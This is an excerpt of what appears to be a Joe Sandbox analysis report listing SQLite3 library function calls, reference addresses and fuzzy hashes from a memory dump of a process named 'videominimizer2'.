                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_mallocsqlite3_value_bytessqlite3_value_text
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1648232842-0
                                                                                                                                                                                                                                      • Opcode ID: 6f401334500cf3ce8937f97dce09bc9131fc1f686c7391f4db805f1c2cabf22c
                                                                                                                                                                                                                                      • Instruction ID: a01add595a6c287de5924383f0ed77e5cc34082cd65fcd393cbe5beac3228527
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6f401334500cf3ce8937f97dce09bc9131fc1f686c7391f4db805f1c2cabf22c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4531C0B4A042058FDB04DF29C094B5ABBE2FF98354F1484A9EC498F349D779E846CBA0
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 609614AB
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 609614BF
                                                                                                                                                                                                                                        • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                                                                                                                                                                        • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 609614D4
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_column_int64sqlite3_mutex_entersqlite3_mutex_leavesqlite3_resetsqlite3_step
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3429445273-0
                                                                                                                                                                                                                                      • Opcode ID: 44b7ea0f60ccad0bdb665534712f35195a3185c30aa33eaed9220a178cd48643
                                                                                                                                                                                                                                      • Instruction ID: 62863439de2fabb71fd3664abc4fbfc11ff04353a6e6e3e42574d1c19fb7889d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 44b7ea0f60ccad0bdb665534712f35195a3185c30aa33eaed9220a178cd48643
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AE316470A183408BEF15CF69C1C5749FBA6AFA7348F188599DC864F30AD375D884C752
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_snprintf$sqlite3_stricmpsqlite3_value_text
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1035992805-0
                                                                                                                                                                                                                                      • Opcode ID: 213593095aed0ecc64844f89ed1f3878beaaf7633e295caa013ed5846923251b
                                                                                                                                                                                                                                      • Instruction ID: 84d28b158f1a11e063f70be148de9c7b2eff514b3bcf7808f17aa895500be78a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 213593095aed0ecc64844f89ed1f3878beaaf7633e295caa013ed5846923251b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8C3178B0A08324DFEB24CF28C481B4ABBF6FBA5318F04C499E4888B251C775D885DF42
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(-00000200,?,?,6090B22B), ref: 609034D8
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(-00000200,?,?,6090B22B), ref: 60903521
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(-00000200,?,?,6090B22B), ref: 6090354A
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(-00000200,?,?,6090B22B), ref: 60903563
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1477753154-0
                                                                                                                                                                                                                                      • Opcode ID: cc0b0c4414a91b2c8747a1fff16426ed14613a144e31e5ae299e51467139190c
                                                                                                                                                                                                                                      • Instruction ID: 848dca46e936c6e01d33e08870ae11aa620bd8b24bdb606da7ea596206f2e213
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cc0b0c4414a91b2c8747a1fff16426ed14613a144e31e5ae299e51467139190c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 44111F726186218FDB00EF7DC8817597FEAFB66308F00842DE865E7362E779D8819741
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_initialize.SQLITE3 ref: 6092A450
                                                                                                                                                                                                                                        • Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 6092A466
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6092A47F
                                                                                                                                                                                                                                      • sqlite3_memory_used.SQLITE3 ref: 6092A4BA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_mutex_enter$sqlite3_initializesqlite3_memory_usedsqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2673540737-0
                                                                                                                                                                                                                                      • Opcode ID: 58333c90df1895ca2798dafcbab41657529afc007f85020e925d8580cfdcdfcb
                                                                                                                                                                                                                                      • Instruction ID: c4988029ba64cfb2248a7cf0c790324acf4c13eb0f9cd3f15fdedc175ef3c91a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 58333c90df1895ca2798dafcbab41657529afc007f85020e925d8580cfdcdfcb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F9019276E143148BCB00EF79D88561ABFE7FBA5324F008528EC9497364E735DC408B81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_value_text$sqlite3_freesqlite3_load_extension
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3526213481-0
                                                                                                                                                                                                                                      • Opcode ID: e69664dddad2286ff6ed0cb1f1c7a121e5262b7aa8061cf10291ac83704fea4b
                                                                                                                                                                                                                                      • Instruction ID: 98199466554994e62e20ad809be6129e3c08b78dd6d8c38fc18f61524e73aad2
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e69664dddad2286ff6ed0cb1f1c7a121e5262b7aa8061cf10291ac83704fea4b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4101E9B5A043059BCB00EF69D485AAFBBF5EF68654F10C529EC9497304E774D841CF91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_prepare.SQLITE3 ref: 60969166
                                                                                                                                                                                                                                      • sqlite3_errmsg.SQLITE3 ref: 60969172
                                                                                                                                                                                                                                        • Part of subcall function 609258A8: sqlite3_log.SQLITE3 ref: 609258E5
                                                                                                                                                                                                                                      • sqlite3_errcode.SQLITE3 ref: 6096918A
                                                                                                                                                                                                                                        • Part of subcall function 609251AA: sqlite3_log.SQLITE3 ref: 609251E8
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 60969197
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log$sqlite3_errcodesqlite3_errmsgsqlite3_preparesqlite3_step
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2877408194-0
                                                                                                                                                                                                                                      • Opcode ID: 06185e76a961c89383dca1620ea17d5683e825aa4cba78efc797247d66345ea8
                                                                                                                                                                                                                                      • Instruction ID: d4ebd4c9a05a553e526e78eaaf80584f3afcfe73b3175c4c6dada352db343273
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 06185e76a961c89383dca1620ea17d5683e825aa4cba78efc797247d66345ea8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9F0186B091C3059BE700EF29C88525DFBE9EFA5314F11892DA89987384E734C940CB86
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_mprintfsqlite3_value_blobsqlite3_value_bytes
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1163609955-0
                                                                                                                                                                                                                                      • Opcode ID: c446836a4840d302dbdc97fcf3f25a19881b43244be54ce00609cbc101420811
                                                                                                                                                                                                                                      • Instruction ID: 8e0d1a1b7fe9adeaf330fda5a565ce202833de3a42fcd494fa905fee92021967
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c446836a4840d302dbdc97fcf3f25a19881b43244be54ce00609cbc101420811
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F6F0C8716282145FC3106F3994816697BE6DFA6758F0144A9F584CB314DB75CC82C742
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_prepare_v2.SQLITE3 ref: 609615BA
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 609615C9
                                                                                                                                                                                                                                      • sqlite3_column_int.SQLITE3 ref: 609615E1
                                                                                                                                                                                                                                        • Part of subcall function 6091D4F4: sqlite3_value_int.SQLITE3 ref: 6091D50C
                                                                                                                                                                                                                                      • sqlite3_finalize.SQLITE3 ref: 609615EE
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_column_intsqlite3_finalizesqlite3_prepare_v2sqlite3_stepsqlite3_value_int
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4265739436-0
                                                                                                                                                                                                                                      • Opcode ID: edb1a347b7ee41d63e69a54b369763b34702b79c0c254a7699785c0090147395
                                                                                                                                                                                                                                      • Instruction ID: 970f7a8085286b868af170b9ae73916577c28f03d50975cfa6e3c5bd991c66ad
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: edb1a347b7ee41d63e69a54b369763b34702b79c0c254a7699785c0090147395
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BE01E4B0D083049BEB10EF69C58575EFBF9EFA5314F00896DE8A997380E775D9408B82
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_initialize.SQLITE3 ref: 6092A638
                                                                                                                                                                                                                                        • Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 6092A64F
                                                                                                                                                                                                                                      • strcmp.MSVCRT ref: 6092A66A
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6092A67D
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_mutex_enter$sqlite3_initializesqlite3_mutex_leavestrcmp
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1894734062-0
                                                                                                                                                                                                                                      • Opcode ID: 1480f87154849f1cdf239baa72c9ff1b5e3c835899009c68b4affe8256d9fce5
                                                                                                                                                                                                                                      • Instruction ID: 0dacd04717b96a229033e5bf385d74358d6efc238696297f04088f4a0acd15ee
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1480f87154849f1cdf239baa72c9ff1b5e3c835899009c68b4affe8256d9fce5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EBF0B4726243044BC7006F799CC164A7FAEEEB1298B05802CEC548B319EB35DC0297A1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 609084E9
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 60908518
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 60908528
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6090855B
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1477753154-0
                                                                                                                                                                                                                                      • Opcode ID: dbb0a767127359d75753d9f151f7b9e03affe710ab86404e29d94d971225fba8
                                                                                                                                                                                                                                      • Instruction ID: c41a4d3f3efa942db11cbd34a9101edfe28f26dd6f673ba1da0d5803e4a0adbd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dbb0a767127359d75753d9f151f7b9e03affe710ab86404e29d94d971225fba8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FD01A4B05093048BDB40AF25C5D97CABBA5EF15718F0884BDEC894F34AD7B9D5448BA1
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_log
                                                                                                                                                                                                                                      • String ID: into$out of
                                                                                                                                                                                                                                      • API String ID: 632333372-1114767565
                                                                                                                                                                                                                                      • Opcode ID: 05e60a680804dc8d75cc30d301a58b6784d3cbcabfb13c7dcba40214300a3b29
                                                                                                                                                                                                                                      • Instruction ID: de20b162988cb891a2f8fbcf22309076e3e21d241eadb06c465d82de9f0e8d92
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 05e60a680804dc8d75cc30d301a58b6784d3cbcabfb13c7dcba40214300a3b29
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 91910170A043149BDB26CF28C88175EBBBABF65308F0481E9E858AB355D7B5DE85CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 60918408: sqlite3_value_text.SQLITE3 ref: 60918426
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 609193A3
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_value_text
                                                                                                                                                                                                                                      • String ID: (NULL)$NULL
                                                                                                                                                                                                                                      • API String ID: 2175239460-873412390
                                                                                                                                                                                                                                      • Opcode ID: 2d639d8f8789be8f4f2115c7e339461789bfa1512606a4b94e85873a15b94a2d
                                                                                                                                                                                                                                      • Instruction ID: 63658e955800b40111a930d2026d12727b3b294c4be858d68b3f7c51d7abf176
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2d639d8f8789be8f4f2115c7e339461789bfa1512606a4b94e85873a15b94a2d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E3514B31F0825A8EEB258A68C89479DBBB6BF66304F1441E9C4A9AB241D7309DC6CF01
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
